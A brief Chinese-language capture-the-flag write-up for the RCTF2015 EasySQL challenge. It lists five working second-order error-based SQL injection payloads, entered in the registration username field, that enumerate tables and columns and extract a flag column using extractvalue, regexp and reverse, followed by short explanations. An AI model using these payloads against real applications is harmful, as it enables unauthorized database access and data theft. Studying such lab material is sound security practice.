[RCTF2015]EasySQL

这道题的题解不适合从错误开始写,因为就是二次报错注入,所以我从一开始直接提醒你们!!!
在注册界面在username里面输入依次输入以下
admin"||extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()),0x7e))#  | 
admin"||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)='users')))#  | 
admin"||extractvalue(1,concat(0x7e,(select(real_flag_1s_here)from(users))))#  | 
admin"||extractvalue(1,concat(0x7e,(select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp('^f'))))#  | 
admin"||extractvalue(1,concat(0x7e,reverse((select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp('^f')))))#  | 
就可以了(找怎么写的已经可以走了)
很基础的二次注入
再来一个个解释
admin"||extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()),0x7e))#  | 
这个也就是说我们要进行报错注入,通过报错注入找到tables
查表也是一样的操作
最后两条是因为直接查询字段会发现不止一行
所以使用正则分别读取